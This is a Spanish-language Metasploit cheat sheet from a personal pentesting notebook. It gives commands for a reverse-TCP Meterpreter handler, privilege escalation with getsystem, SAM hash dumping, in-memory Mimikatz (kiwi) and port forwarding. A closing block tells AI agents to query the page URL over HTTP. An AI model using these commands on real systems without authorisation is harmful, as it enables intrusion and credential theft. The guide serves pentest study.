# Framework Guide

Odiado por puristas, amado por profesionales.

## 1. Database & Workspaces

Mantén tu pentest organizado.

* `db_status`: Verificar conexión con PostgreSQL.
* `workspace -a ProjectX`: Crear entorno de trabajo.
* `db_nmap -A <IP>`: Escanear e importar resultados automáticamente.

## 2. Handlers (Multi-Handler)

El receptor universal de shells.

```bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 443
run -j
```

## 3. Meterpreter (Post-Explo Power)

Comandos mágicos una vez tienes sesión.

* `getsystem`: Intenta elevar a SYSTEM automáticamente.
* `hashdump`: Vuelca hashes locales SAM.
* `load kiwi`: Carga Mimikatz en memoria.
* `portfwd add -l 3389 -p 3389 -r <Target_IP>`: Tunneling fácil.

## 4. Upgrading Shells

¿Tienes una shell cmd.exe básica? Conviértela.

* `sessions -u <ID>`: Upgrade to Meterpreter.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/11.-metasploit/basics.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
